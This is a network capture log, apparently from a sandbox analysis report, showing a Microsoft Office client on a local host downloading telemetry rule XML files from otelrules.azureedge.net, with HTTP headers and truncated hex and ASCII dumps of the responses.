2024-11-10 18:45:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: dff1b5d0-b01e-003d-20b1-31d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184515Z-17df447cdb57srlrhC1DFWwgas00000009kg000000008c67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:15 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184515Z-16547b76f7f9rdn9hC1DFWfk7s0000000d0g000000009dw8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-15869dbbcc6gt87nhC1DFWh9un0000000eb000000000cyk9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:15 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 157887d5-b01e-0084-44d2-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184515Z-16547b76f7fr4g8xhC1DFW9cqc0000000c3000000000p143 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:16 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-16547b76f7fp6mhthC1DFWrggn0000000d3000000000e69g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-16547b76f7fq9mcrhC1DFWq15w0000000cz000000000eqwd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:16 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-16547b76f7fp46ndhC1DFW66zg0000000cz000000000nuhq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-16547b76f7fdf69shC1DFWcpd00000000cz00000000088pv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: acd62086-201e-006e-156c-32bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184516Z-15869dbbcc6rnr5chC1DFWwtp400000001u0000000003t2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7fj897nhC1DFWdwq40000000cw000000000a37n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7fmbrhqhC1DFWkds80000000d2000000000bmgk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7f2g4rlhC1DFWnx880000000cy0000000009y7s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
